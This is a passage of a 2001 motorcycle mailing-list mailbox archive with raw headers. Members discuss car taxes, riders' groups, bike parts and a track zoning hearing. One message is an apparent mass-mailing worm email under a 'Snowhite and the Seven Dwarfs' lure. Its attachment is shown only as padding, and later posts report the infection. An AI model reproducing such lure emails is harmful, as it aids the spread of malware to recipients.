for the postman who hurt his mother.) => Peoples Republic of Alexandria => MRF 1012503, AMA 572649, MARRC 2567, RAT 79802 => 1998 T595 Daytona, call her "Boudicca" => ---- Mark Bergman Biker, IATSE #1 Stagehand, Rock Climber, Unix mechanic '94 Yamaha GTS1000A bergman@XXXXXX I want a newsgroup with a infinite S/N ratio! Now taking CFV on: rec.motorcycles.stagehands.pet-bird-owners.pinballers.unix-supporters 5+ So Far--Want to join? Check out: http://www.panix.com/~bergman From dc-cycles-request Thu Feb 8 17:43:13 2001 Return-Path: Received: from www.mostlyharmless.net (w157.z216112246.was-dc.dsl.cnc.net [216.112.246.157]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18MhBP10626 for ; Thu, 8 Feb 2001 17:43:11 -0500 (EST) Received: from www.mostlyharmless.net (localhost.localdomain [127.0.0.1]) by www.mostlyharmless.net (8.11.0/8.8.7) with SMTP id f18Mkxn25856 for ; Thu, 8 Feb 2001 17:46:59 -0500 From: Brian Roach Reply-To: roach@XXXXXX To: dc-cycles@XXXXXX Subject: Re: Car tax WAS Cryor bill - real life example Date: Thu, 8 Feb 2001 17:46:59 -0500 X-Mailer: KMail [version 1.1.95.2] Content-Type: text/plain References: <86.6a564a3.27b46f46@aol.com> <3A831BE7.BEDCDA7B@patriot.net> In-Reply-To: <3A831BE7.BEDCDA7B@patriot.net> MIME-Version: 1.0 Message-Id: <0102081746590W.08143@www.mostlyharmless.net> Content-Transfer-Encoding: 8bit On Thu, 08 Feb 2001, William J. Huson wrote: > > Oh, yeah, and such stuff *never* happens in the private sector. The private sector isn't paid with my tax money. They can do whatever they want -> too much waste and the business goes down the tubes, unlike the gov't which just claims they need more of my money. Having seen a number of government offices and workers in my time, I daresay many of them are lucky they don't work in the private sector... they wouldn't be working there very long. - Roach From dc-cycles-request Thu Feb 8 18:47:10 2001 Return-Path: Received: from web904.mail.yahoo.com (web904.mail.yahoo.com [128.11.23.79]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f18Nl7P11487 for ; Thu, 8 Feb 2001 18:47:08 -0500 (EST) Received: (qmail 18055 invoked by uid 60001); 8 Feb 2001 23:47:03 -0000 Message-ID: <20010208234703.18054.qmail@web904.mail.yahoo.com> Received: from [207.192.134.198] by web904.mail.yahoo.com; Thu, 08 Feb 2001 15:47:03 PST Date: Thu, 8 Feb 2001 15:47:03 -0800 (PST) From: Justin Stefanon Subject: one SAD mofo To: dcbike MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Zanottimotor.com stiffed me on the parts. they don't do suzu. so, if I decide to go ahead and buy new ones from the suzu dealer in manassas, that's 120 bucks. I swore I would either not spend another hundred on this beast or commit to making it run at all costs. that means i must decide if i am willing to do a complete rebuild, down to separating and cleaning every last filthy,corroded part and replacing all of the worn out shit, which is everything capable of wearing out, essentially. Whatever I choose, it does not look like riding a moto is in my near future. SAD state of affairs. Right now I'm leaning the way i usually do: take the path more greasy. I owe it to this bike that has been abused by everyone else and neglected by me. It may be a heavy, hideous, 8-valve cruiser-cum-bruiser, but it's my bike and right now the only one I can afford, new parts or not. The sensible thing might be to tear it apart, catalog all of the parts in need of replacement, and see if I can get a bike that works for the same money or a bit more. Then the thunder lizard will just have to be somebody's parts bike. Truly SAD condition. Sorry for letting you into my little window of misery, but this, too, shall pass. I will ride again! -Justin Stefanon 1979 Suzuki collection of loose-fitting parts __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Thu Feb 8 19:02:26 2001 Return-Path: Received: from smtp02.mrf.mail.rcn.net (smtp02.mrf.mail.rcn.net [207.172.4.61]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1902PP11716 for ; Thu, 8 Feb 2001 19:02:25 -0500 (EST) Received: from 66-44-45-73.s327.tnt3.lnhdc.md.dialup.rcn.com ([66.44.45.73] helo=pawilson) by smtp02.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14R10u-0002yb-00 ; Thu, 08 Feb 2001 19:02:12 -0500 Message-ID: <004f01c0922b$87d97b80$bb82fea9@pawilson> From: "Paul Wilson" To: "dc-cycles list" Cc: "cb-750 list" Subject: AMA and MRF Date: Thu, 8 Feb 2001 19:01:59 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 OK, this may be an extremely stupid question. Why are there two national motorcycle rights organizations (AMA and Motorcycle Riders Foundation)? By national I'm leaving out ABATE which is a collection of local chapters. Is MRF more of a strictly lobbying organization? It seems the AMA's race sanctioning and the commercial activity surrounding that has landed them in hot water recently with the Edmonson case. I'm interested in supporting motorcyclist's rights but don't feel comfortable with some of the AMA's shenanigans. Sometimes I get the impression that the AMA acts as a water boy for the manufacturers, which also gives me pause. Paul in DC From dc-cycles-request Thu Feb 8 19:50:09 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f190o7P12428 for ; Thu, 8 Feb 2001 19:50:08 -0500 (EST) Received: from patriot.net (pool180-116.patriot.net [209.249.180.116]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f190o3H12359; Thu, 8 Feb 2001 19:50:03 -0500 Message-ID: <3A833D71.9F53D027@patriot.net> Date: Thu, 08 Feb 2001 19:44:33 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: Paul Wilson CC: dc-cycles list , cb-750 list Subject: Re: AMA and MRF References: <004f01c0922b$87d97b80$bb82fea9@pawilson> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Paul Wilson wrote: > OK, this may be an extremely stupid question. Why are there two national > motorcycle rights organizations (AMA and Motorcycle Riders Foundation)? Because there can be two, or three.. > By > national I'm leaving out ABATE which is a collection of local chapters. Is > MRF more of a strictly lobbying organization? Yes, that's my impression, that the MRF is a lobbying group, whereas the AMA *lobbies* but has other irons in the fire. > It seems the AMA's race > sanctioning and the commercial activity surrounding that has landed them in > hot water recently with the Edmonson case. I'm interested in supporting > motorcyclist's rights but don't feel comfortable with some of the AMA's > shenanigans. Sometimes I get the impression that the AMA acts as a water > boy for the manufacturers, which also gives me pause. > Which is why I'm letting my AMA membership lapse. Bill From dc-cycles-request Thu Feb 8 21:48:54 2001 Return-Path: Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f192mrP13991 for ; Thu, 8 Feb 2001 21:48:54 -0500 (EST) Received: from 66-44-57-76.s330.tnt2.lnhva.md.dialup.rcn.com ([66.44.57.76] helo=todd) by smtp03.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14R3c8-0004Vj-00 for dc-cycles@XXXXXX; Thu, 08 Feb 2001 21:48:49 -0500 From: "Todd Peer" To: "AA DC-Cycles" Subject: Gilmore Vehicle Taxes was:Cryor bill Date: Thu, 8 Feb 2001 21:48:20 -0500 Message-ID: <000001c09242$c3413020$4c392c42@todd> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Date: Thu, 8 Feb 2001 11:34:52 -0800 (PST) From: Leon Begeman Subject: Re: Cryor bill To: dc-cycles@XXXXXX Counterpoint: I don't care about who proposed it, I don't care who's in the legislature, but if anyone stops the repeal of the car tax because the state budget is only growing by 11% instead of some even rosier forecast, I will vote against them. Nevermind, I always vote for lower taxes anyway. Leon. --- "William J. Huson" wrote: > Yes, we have the same "saving face" crap here in VA > - Jimbo "no clue" Gilmore is +++++++++++++++++++++++++++++++++++++++++++++++++ I tried arguing this same point, Leon, when the car tax subject came up by pointing people to the online documentation about the VA State Revenues. They are still in the black, though not as inordinately climbing as they've been. I'm with you. Political death to all in favor of more taxes. Todd Peer (Springfield, VA) From dc-cycles-request Thu Feb 8 21:48:55 2001 Return-Path: Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f192mrP13992 for ; Thu, 8 Feb 2001 21:48:54 -0500 (EST) Received: from 66-44-57-76.s330.tnt2.lnhva.md.dialup.rcn.com ([66.44.57.76] helo=todd) by smtp03.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14R3cB-0004Vj-00 for dc-cycles@XXXXXX; Thu, 08 Feb 2001 21:48:51 -0500 From: "Todd Peer" To: "AA DC-Cycles" Subject: Powerride Hondas Date: Thu, 8 Feb 2001 21:48:22 -0500 Message-ID: <000101c09242$c49a0960$4c392c42@todd> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal From: Dale Horstman FGrefe@XXXXXX wrote: > Does Powerride still have a Honda franchise or did they lose it to this > place? Honda usually keeps a pretty good distance between dealers. Good question - I'll have to go check. Maybe this is the beginning of the end for PoserRide Sports? -- Dale Horstman (the Horkster) =============================================== Yes they do. Was over there the other day and sat on the new GoldWing (don't worry, I can't afford one...yet) and walked around the new CBRF4. Todd Peer (Springfield, VA) From dc-cycles-request Thu Feb 8 21:59:05 2001 Return-Path: Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f192x4P14137 for ; Thu, 8 Feb 2001 21:59:04 -0500 (EST) Received: from 66-44-57-76.s330.tnt2.lnhva.md.dialup.rcn.com ([66.44.57.76] helo=todd) by smtp03.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14R3m1-0006aN-00 for dc-cycles@XXXXXX; Thu, 08 Feb 2001 21:59:02 -0500 From: "Todd Peer" To: "AA DC-Cycles" Subject: Re: Car tax WAS Cryor bill Date: Thu, 8 Feb 2001 21:58:31 -0500 Message-ID: <000201c09244$307b6b00$4c392c42@todd> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal From: Dale Horstman Chuck Pena wrote: > > Just remember that if you're going to cut/eliminate taxes (which I am in > favor of doing) -- any tax, not just the car tax -- you also have to > reduce government spending since there will be less money flowing to the > government coffers. Of course. Why not just reduce everything across the board by a percent or two? I've got no problem with existing programs finding more efficient ways to get the jobs done with less money. Better still, allow existing programs to become more efficient without ANY government handouts. Hey, thats how the 'Feed Todd' organization I am employed by works. :-) > we usually end up cutting taxes but not cutting spending First things first. Give the twerps less money to play around with. Then tell them to quit spending what they don't have. It shouldn't really have to be this difficult. HAHAHAHAHA....Dream world...but you're right. > and get screwed any which way you look at it. All other things being equal, I'd rather get screwed with more money in my pockets. And that's what it all boils down to. Last thing any of us needs is bigger government with more money to throw around. Actually, Chucks point makes it clear there is no direct correlation between how much money the government has and how obtrusive (big) it can be. The last thing any of us needs is tyranny. Please visit: http://www.lp.org/ -- Dale Horstman (the Horkster) Todd Peer (Springfield, VA) From dc-cycles-request Thu Feb 8 21:59:09 2001 Return-Path: Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f192x8P14140 for ; Thu, 8 Feb 2001 21:59:08 -0500 (EST) Received: from 66-44-57-76.s330.tnt2.lnhva.md.dialup.rcn.com ([66.44.57.76] helo=todd) by smtp03.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14R3m3-0006aN-00 for dc-cycles@XXXXXX; Thu, 08 Feb 2001 21:59:04 -0500 From: "Todd Peer" To: "AA DC-Cycles" Subject: Yet Another Close Encounter of the BDC Kind Date: Thu, 8 Feb 2001 21:58:35 -0500 Message-ID: <000301c09244$31cb1c80$4c392c42@todd> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal From: "Smith, Steven" A big, red, four-wheel-drive, Ford pickup of recent vintage was northbound in the left lane. As soon as he spotted me the jackass put about half his vehicle in my lane. I went to high beams and laid on the (pathetic) horn. He turned back into his lane about one second before impact. Stuff like this happens occasionally due to simple inattention, so I was ready to brush it off. However, as the aforementioned hybrid barnyard animal passed me, I could see him mouthing naughty words while indicating the number of his AKC registered parents. Dude was around thirty years of ======================================================= Sounds to me like he may have been drunk. Todd Peer (Springfield, VA) From dc-cycles-request Thu Feb 8 22:09:34 2001 Return-Path: Received: from mtiwmhc23.worldnet.att.net (mtiwmhc23.worldnet.att.net [204.127.131.48]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1939QP14291 for ; Thu, 8 Feb 2001 22:09:26 -0500 (EST) Received: from 7ya1a ([12.77.82.174]) by mtiwmhc23.worldnet.att.net (InterMail vM.4.01.03.10 201-229-121-110) with SMTP id <20010209030848.IRWX19355.mtiwmhc23.worldnet.att.net@7ya1a> for ; Fri, 9 Feb 2001 03:08:48 +0000 From: Hahaha Subject: Snowhite and the Seven Dwarfs - The REAL story! MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--VE8TQNS9I3KTEBSXQJ8TYJ056F49MR" Message-Id: <20010209030848.IRWX19355.mtiwmhc23.worldnet.att.net@7ya1a> Date: Fri, 9 Feb 2001 03:08:58 +0000 ----VE8TQNS9I3KTEBSXQJ8TYJ056F49MR Content-Type: text/plain; charset="us-ascii" Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and polite with Snowhite. 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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA ----VE8TQNS9I3KTEBSXQJ8TYJ056F49MR-- From dc-cycles-request Thu Feb 8 22:14:02 2001 Return-Path: Received: from m11.boston.juno.com (m11.boston.juno.com [64.136.24.74]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f193DpP14385 for ; Thu, 8 Feb 2001 22:13:53 -0500 (EST) Received: from cookie.juno.com by cookie.juno.com for <"fTLSAcSSZ0OO+O1u10jMXJKdkY2/xoz692zyYVEaQyEWAqK6LA8A4Q=="> Received: (from celticracing@XXXXXX) by m11.boston.juno.com (queuemail) id FVS93HUZ; Thu, 08 Feb 2001 22:13:10 EST To: dc-cycles@XXXXXX Date: Thu, 8 Feb 2001 22:09:53 -0500 Subject: Summit Point Zoning Hearing - Your Support is Needed Message-ID: <20010208.221158.-720205.7.CelticRacing@juno.com> X-Mailer: Juno 5.0.27 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Juno-Line-Breaks: 1-2,5-6,8-58,60,62,64 From: Tom Fitzpatrick Please direct all correspondence and questions to the author of this letter. Discussion, of course is welcome, but I am just passing this on. The history as I understand it, is that a local group is trying to impose sound, time and expansion restrictions on Summit Point. Summit Point is trying to add a third track. Summit Point needs your letters of support to help its negotiating position. Let's pitch in and help the cause. Tom Subject: Update on Summit Point Zoning From: Jeff Janoska Mime-version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: Date: Wed, 07 Feb 2001 23:41:00 -0500 Update on Summit Point zoning issue. The Jefferson County Planning Commission has agreed to a request by Summit Point Raceway ownership and the opposition group CARE to schedule another special meeting on February 13, 2001, specifically to receive a joint proposal from the track and CARE. In another month or two there will be a public hearing on that proposal. For the Feb. 13 hearing, the track would like as many letters expressing support for the existing track usage as well as support for the expansion as possible. If you have not already written a letter of support, please write according to the following instructions so that letters are received by Monday, February 12. Address the letters to: Jefferson County Planning Commission PO Box 338 Charles Town, WV 25414 And start the letters "Dear Commissioners" But actually send to: Summit Point Raceway PO Box 190 Summit Point, WV 25446 OR FAX 304-728-7124 OR E-mail office@XXXXXX Thank you. Don Caldwell Regional Executive Washington DC Region SCCA Tom Fitzpatrick CCS#80'6 (www.celticracing.com) Sponsors: *Fast Lane Cycles/fastlanecycles@XXXXXX/703-818-8890/ (www.fastlanecycles.com) *Barnacle Bill's Racing Leathers - barnacle@XXXXXX (www.racingleather.com) *A.F.S. Contractor Inc.-Home Insurance Recovery Specialist (www.unitedwebuild.com/afs.html) *Janet Bell TAX Preparation, Accounting and Consulting (belljan@XXXXXX) From dc-cycles-request Thu Feb 8 23:12:45 2001 Return-Path: Received: from smtp-out2.bellatlantic.net (smtp-out2.bellatlantic.net [199.45.40.144]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f194CiP15212 for ; Thu, 8 Feb 2001 23:12:44 -0500 (EST) Received: from homethomas (adsl-151-200-16-190.dc.adsl.bellatlantic.net [151.200.16.190]) by smtp-out2.bellatlantic.net (8.9.1/8.9.1) with SMTP id XAA03725 for ; Thu, 8 Feb 2001 23:12:22 -0500 (EST) Message-ID: <008101c0924f$23cef010$0200a8c0@homethomas> From: "Thomas Zell" To: Subject: Folks! A serious rant here! Date: Thu, 8 Feb 2001 23:16:39 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Trim your messages and stop using HTML! Us folks on the digest can barely read the thing because of all the useless crap that comes through! PLEASE!!!! Tom '86 VFR750 From dc-cycles-request Fri Feb 9 08:12:17 2001 Return-Path: Received: from web3905.mail.yahoo.com (web3905.mail.yahoo.com [204.71.203.201]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f19DCFP22695 for ; Fri, 9 Feb 2001 08:12:16 -0500 (EST) Message-ID: <20010209131212.8273.qmail@web3905.mail.yahoo.com> Received: from [192.147.69.35] by web3905.mail.yahoo.com; Fri, 09 Feb 2001 05:12:12 PST Date: Fri, 9 Feb 2001 05:12:12 -0800 (PST) From: "Tom K." Subject: great day to ride... To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii What a day, I havenM-^Rt ridden to work in a while so today was my official spring dust-off. It was great to see so many cyclists on 95/395 HOV's. I will see you guys this afternoon! -Tom 98'VFR p.s. anyone interested in a lunchtime run? IM-^Rm over here in ArlingtonM-^E __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 9 08:15:54 2001 Return-Path: Received: from web11207.mail.yahoo.com (web11207.mail.yahoo.com [216.136.131.189]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f19DFrP22763 for ; Fri, 9 Feb 2001 08:15:54 -0500 (EST) Message-ID: <20010209131550.14825.qmail@web11207.mail.yahoo.com> Received: from [153.2.246.11] by web11207.mail.yahoo.com; Fri, 09 Feb 2001 05:15:50 PST Date: Fri, 9 Feb 2001 05:15:50 -0800 (PST) From: Matthew Rosenstock Subject: Spammed Again To: DC Cycles , DC Cycles II MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Ok- Who ever is sending the Haha@Sexyfun has got to stop. My boss is wondering why it's showing up on my pc. Matt __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 9 08:27:55 2001 Return-Path: Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19DRsP22906 for ; Fri, 9 Feb 2001 08:27:54 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQkbqb07544; Fri, 9 Feb 2001 13:27:51 GMT Received: from [153.39.168.51] by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: macsupport10.corp.us.uu.net [153.39.168.51]) id QQkbqb27315; Fri, 9 Feb 2001 13:27:08 GMT Mime-Version: 1.0 X-Sender: sjordan@XXXXXX Message-Id: Date: Fri, 9 Feb 2001 08:27:05 -0500 To: race@XXXXXX, dc-cycles@XXXXXX From: Sean Jordan Subject: Y2k GSXR-750 pipes Content-Type: text/plain; charset="us-ascii" ; format="flowed" Anybody out there have any experience with the D&D and Da Vinci pipes for the Gixxer? I have a buddy who is looking to get a new pipe and is looking for some feedback. (For a streetbike) Thanks. -- "For man, maximum excitement is the confrontation of death and the skillful defiance of it." -Ernest Becker (1924-1974) Sean Jordan '93 Honda CBR1000F (Street) '90 Yamaha FZR400 (Race) WERA Novice #230 MARRC member #3038 From dc-cycles-request Fri Feb 9 08:50:10 2001 Return-Path: Received: from web314.mail.yahoo.com (web314.mail.yahoo.com [216.115.105.79]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f19Do8P23293 for ; Fri, 9 Feb 2001 08:50:09 -0500 (EST) Message-ID: <20010209135006.7851.qmail@web314.mail.yahoo.com> Received: from [198.26.132.101] by web314.mail.yahoo.com; Fri, 09 Feb 2001 05:50:06 PST Date: Fri, 9 Feb 2001 05:50:06 -0800 (PST) From: "Louis F. Caplan" Subject: Re: great day to ride... To: dc-cycles@XXXXXX In-Reply-To: <20010209131212.8273.qmail@web3905.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- "Tom K." wrote: > What a day, I havenM-^Rt ridden to work in a while so > today was my official spring dust-off. It was great to > see so many cyclists on 95/395 HOV's. I will see you > guys this afternoon! > -Tom Geez!! Of all the days I promised to pick up my friend at the airport!! And she told me I had to take the car, since she had luggage. Grrr. Today would be the perfect day to skip town, head out to Skyline, the Blue Ridge, or heck, just do what Dale did and ride out an back. Fortunately I did ride the past two days, but still, 65 degrees... To all of you who rode in, HAVE FUN!!! Louis __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 9 09:09:53 2001 Return-Path: Received: from es05.hosts.jhmi.edu (es05.hosts.jhmi.edu [162.129.224.75]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19E9qP23529 for ; Fri, 9 Feb 2001 09:09:52 -0500 (EST) Received: from peabody.jhu.edu (stevendipietro.peabody1.jhmi.edu [10.224.65.91]) by es05.hosts.jhmi.edu (8.9.3/8.9.3) with ESMTP id JAA21255; Fri, 9 Feb 2001 09:04:39 -0500 (EST) Message-ID: <220DC36E.CC94106A@peabody.jhu.edu> Date: Mon, 08 Feb 1988 09:02:26 -0500 From: "Steven C. Di Pietro" Organization: Peabody Institute of The Johns Hopkins University X-Mailer: Mozilla 4.76 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: dccycles2@XXXXXX CC: DC Cycles Subject: Re: [dccycles2] Spammed Again References: <20010209131550.14825.qmail@web11207.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Matt, Someone on the list got infected with that computer virus. They opened the attachment and it sent a copy of itself to every e-mail address in their address book. Steven C. Di Pietro Assistant National Director National Marketing Coordinator Suzuki Owners Club USA http://www.soc-usa.org Matthew Rosenstock wrote: > Ok- Who ever is sending the Haha@Sexyfun has got to > stop. My boss is wondering why it's showing up on my > pc. > > Matt > > __________________________________________________ > Do You Yahoo!? > Get personalized email addresses from Yahoo! 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Groups > Click here for more details > http://click.egroups.com/1/11231/1/_/_/_/981724554/ > ---------------------------------------------------------------------_-> > > To unsubscribe from this group, send an email to: > dccycles2-unsubscribe@XXXXXX From dc-cycles-request Fri Feb 9 09:41:57 2001 Return-Path: Received: from imo-d06.mx.aol.com (imo-d06.mx.aol.com [205.188.157.38]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19EftP24014 for ; Fri, 9 Feb 2001 09:41:56 -0500 (EST) Received: from GOINGRIDING@XXXXXX by imo-d06.mx.aol.com (mail_out_v29.5.) id 2.5a.10e4fefc (4334) for ; Fri, 9 Feb 2001 09:41:41 -0500 (EST) From: GOINGRIDING@XXXXXX Message-ID: <5a.10e4fefc.27b55ba4@aol.com> Date: Fri, 9 Feb 2001 09:41:40 EST Subject: Re: Car tax WAS Cryor bill - real life example To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_5a.10e4fefc.27b55ba4_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 10501 --part1_5a.10e4fefc.27b55ba4_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/8/01 5:27:36 PM Eastern Standard Time, bhuson@XXXXXX writes: > Not in my private sector it doesnt. My co. has one party per month to celebrate and it comes at the end of the day always on a Friday. Besides, in the private sector, the only people who are paying for it are the company themselves, not taxpayers. Not a good comparison I dont think. --part1_5a.10e4fefc.27b55ba4_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/8/01 5:27:36 PM Eastern Standard Time,
bhuson@XXXXXX writes:


Oh, yeah, and such stuff *never* happens in the private sector.



Not in my private sector it doesnt.  My co. has one party per month to
celebrate and it comes at the end of the day always on a Friday.  Besides, in
the private sector, the only people who are paying for it are the company
themselves, not taxpayers.  Not a good comparison I dont think. --part1_5a.10e4fefc.27b55ba4_boundary-- From dc-cycles-request Fri Feb 9 09:55:38 2001 Return-Path: Received: from loki.vitalspring.com (loki.vitalspring.com [66.2.186.213]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19EtbP24243 for ; Fri, 9 Feb 2001 09:55:37 -0500 (EST) Received: from 66-2-186-195.customer.algx.net ([66.2.186.195]) by loki.vitalspring.com (8.9.3/8.9.3) with SMTP id JAA09431 for ; Fri, 9 Feb 2001 09:46:31 -0500 From: "Christopher Weaver" To: Received: from no.name.available by 66-2-186-195.customer.algx.net via smtpd (for www.vitalspring.com [66.2.186.214]) with SMTP; 9 Feb 2001 14:57:43 UT Subject: RE: great day to ride... Date: Fri, 9 Feb 2001 09:55:37 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <20010209135006.7851.qmail@web314.mail.yahoo.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Oh, I plan to. I got to wheelie past a schoolbus full of kids this morning. I'm not sure who enjoyed it more. :^) Chris Weaver VTR YSR dccycles.com -----Original Message----- From: Louis F. Caplan [mailto:nighthawk700@XXXXXX] [snip] To all of you who rode in, HAVE FUN!!! Louis From dc-cycles-request Fri Feb 9 10:07:37 2001 Return-Path: Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19F7ZP24451 for ; Fri, 9 Feb 2001 10:07:36 -0500 (EST) Received: from ix.netcom.com (vna-va17-06.ix.netcom.com [207.223.179.198]) by hall.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id KAA26664; Fri, 9 Feb 2001 10:07:30 -0500 (EST) Message-ID: <3A840804.9F5C0DE@ix.netcom.com> Date: Fri, 09 Feb 2001 10:08:52 -0500 From: Chuck Pena Reply-To: the_penas@XXXXXX X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: Sean Jordan , DC Cycles Subject: Re: Y2k GSXR-750 pipes References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sean, No first-hand experience with either, but... My understanding is that D&D pipes are pretty loud. So this could be either good or bad, depending on what your friend wants in a pipe. The Da Vinci pipes look pretty cool and most of the mags (especially the Brit ones) seem to think they're OK. FWIW, I'm partial to the Yosh RS-3 oval. I have a full race exhaust on my '93 GSXR 750. Gave me a good power increase both midrange and top end. Nice sound (but that's subjective). Loud, but not overly so (at least compared to other race pipes). And I like the look of the oval can. Chuck Sean Jordan wrote: > > Anybody out there have any experience with the D&D and Da Vinci pipes > for the Gixxer? I have a buddy who is looking to get a new pipe and > is looking for some feedback. (For a streetbike) Thanks. -- "Wherever you go, there you are." -- Buckaroo Banzai visit us at http://www.geocities.com/the_penas From dc-cycles-request Fri Feb 9 10:30:00 2001 Return-Path: Received: from 